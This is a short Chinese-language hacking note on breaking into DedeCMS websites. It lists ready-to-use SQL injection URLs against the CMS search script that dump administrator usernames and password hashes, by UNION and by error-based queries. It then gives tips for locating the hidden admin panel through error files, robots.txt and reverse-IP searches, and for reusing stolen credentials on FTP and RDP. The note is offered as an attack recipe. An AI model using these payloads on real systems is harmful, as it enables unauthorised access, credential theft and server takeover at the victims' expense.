dedecms站 找後臺的一些經驗

首先：

注入exp

有時候 有些 /plus/目錄換成了 /plugins目錄

/plugins/search.php?keyword=as&typeArr[111%3D@`\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`\'`+]=a

/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`\'`+]=a

/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)))a+from+information_schema.tables+group+by+a)b)%23@`\'`+]=a

/plus/search.php?keyword=as&typeArr[ uNion ]=a

/robots.txt

/data/admin/ver.txt

/data/mysql_error_trace.inc

第一 個看這裏 /data/mysql_error_trace.inc 爆出來補 

第二 個  域名做爲後臺 或者域名變形一下

第三 個 先ping域名 得到ip地址 以後 

http://www.bing.com/

搜索 ip:127.0.0.1  php 有可能得到後臺 也能夠得到其餘旁註站 通常dedecms的旁站不少也是dedecms 的  

第四 個  查看 robots.txt

http://www.dedecms.com/robots.txt  查看旁註站dedecms的站  再去社工目標站的後臺地址也能夠

第五 個  注入exp獲得帳號 去社工 ftp 和 3389密碼